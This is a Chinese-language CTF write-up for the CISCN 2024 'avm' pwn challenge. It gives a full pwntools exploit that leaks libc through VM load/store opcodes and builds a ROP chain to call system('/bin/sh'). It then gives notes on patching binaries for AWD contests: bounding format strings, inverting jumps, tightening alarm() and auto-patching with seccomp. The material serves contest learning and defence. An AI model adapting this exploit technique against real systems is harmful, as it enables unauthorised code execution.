WP'

第十八届全国大学生信息安全竞赛暨第二届“长城杯”铁人三项赛初赛-pwn-avm WP

当时没做出来,卡的点主要是以为找到和libc_base距离固定的地址,实际上不固定,导致本地时不时能跑通,远程始终失败。

断点设置在((void (__fastcall *)(_QWORD *, _BYTE *))funcs_1AAD[v2])(a1, s);b *$rebase(0x1aad),这样子方便确定每一次操作执行前(后b *$rebase(0x1aaf))的状态。

试了许多可能与libc_base距离相同的地址,但是都失败了,看到了一个有与__libc_start_main距离相同的地址,试了一下,果然距离相同。然后是偏移。

1
2
04:0020│ rdx rsi 0x7fff332d3f20 ◂— 0
1bf:0df8│+cc8 0x7fff332d4cf8 —▸ 0x7f9c43029e40 (__libc_start_main+128) ◂— mov r15, qword ptr [rip + 0x1f0159]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
load(1, 0xd38, 4)
# 4:(__libc_start_main+128)
load(1, 0x160, 5)
# 5:0x29d90
sub(4, 5, 6)
# 6:libc_base
load(1, 0x168, 7)
# 7:0x2a3e5[pop rdi]
add(6, 7, 8)
# 8:libc_rdi
load(1, 0x170, 9)
# 9:next(libc.search(b'/bin/sh'))
add(6, 9, 10)
# 10:libc_binsh
load(1, 0x178, 11)
# 11:ret
add(6, 11, 12)
# 12:libc_ret
load(1, 0x180, 13)
# 13:system
add(6, 13, 14)
# 14:libc_system
store(1, 0x118, 8)
store(1, 0x120, 10)
store(1, 0x128, 12)
store(1, 0x130, 14)
# ROP链:libc_rdi->libc_base->libc_ret(为了对齐)->libc_system
p32(0)
p64(libc_start_main)
p64(pop_rdi)
p64(binsh)
p64(ret)
p64(system)

完整的exp(本地能稳定跑通)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
io = process("/home/ben/Desktop/CISCN2024/avm/pwn")
libc = ELF("/home/ben/Desktop/CISCN2024/avm/libc.so.6")
libc_start_main = 0x29d90
pop_rdi = 0x2a3e5
ret = 0x29139
system = 0x50d70
binsh = next(libc.search(b'/bin/sh'))
gdb.attach(io,"b *$rebase(0x1aad)")
def operation(opcode, i, j, k):
return p32((opcode << 28) + (i << 5) + (j << 16) + k)
def add(i, j, k):
return operation(1, i, j, k)
def sub(i, j, k):
return operation(2, i, j, k)
def store(i, j, k):
return operation(9, i, j, k)
def load(i, j, k):
return operation(10, i, j, k)

opcode = load(1, 0xd38, 4) + load(1, 0x160, 5) + \
sub(4, 5, 6) + load(1, 0x168, 7) + \
add(6, 7, 8) + load(1, 0x170, 9) + \
add(6, 9, 10) + load(1, 0x178, 11) + \
add(6, 11, 12) + load(1, 0x180, 13) + \
add(6, 13, 14) + store(1, 0x118, 8) + \
store(1, 0x120, 10) + store(1, 0x128, 12) + \
store(1, 0x130, 14) + p32(0) + \
p64(libc_start_main) + p64(pop_rdi) + \
p64(binsh) + p64(ret) + p64(system)

io.send(opcode)
io.recvuntil(b'opcode: Unsupported instruction\n')
io.interactive()

fix-pwn

这是有关如何修复pwn题目的一个博客。

参考链接:https://hello-ctf.com/HC_AWD/awd_pwn.exp/#pwn

类型:明确范围,逆转逻辑,严控时间,问题部分无差别清除、通解。

明确范围

思路参考链接:2024全国大学生信息安全竞赛(ciscn)半决赛(华东北赛区)Pwn题解 - 知乎(可惜他用这个思路失败了)

例如修改可读文件长度,或者对于%s等未限制范围的内容用明确的范围进行替换如换为%20s

逆转逻辑

将逻辑进行逆转如特定情况不触发程序错误,逆转为特定情况还会触发程序错误。

指令 机器码 指令 机器码
jmp EB jz 74
je 74 jne 75
jg 7F jge 7D
jl 7C jle 7E
ja 77 jae 73
jb 72 jbe 76
jna 76 jnb 73
jnae 72 jnc 73
jnb 73 jng 7E
jnge 7C jnl 7D

严控时间

程序最开始的alarm(60)通常时间较长,可以测试进行一次操作的时间大概多久,比如5次操作需要2秒,正常程序运行需要几次操作,多留1次的时间大致就行,例如设置为alarm(3),这样限制多次操作也能修复程序。

问题部分无差别清除

参考链接:2024全国大学生信息安全竞赛(ciscn)半决赛(华东北赛区)Pwn题解 - 知乎

直接把有问题的函数整体nop掉,然后能调用这个函数相关逻辑也nop掉。

通解(*)

参考链接:XueDugu/evilPatcher

直接自动打补丁。

使用方法

1
2
seccomp-tools dump elf
python evilPatch.py elf sandboxfile 1

结果输出一个patch过后的文件,文件名为原来文件加上.patch后缀。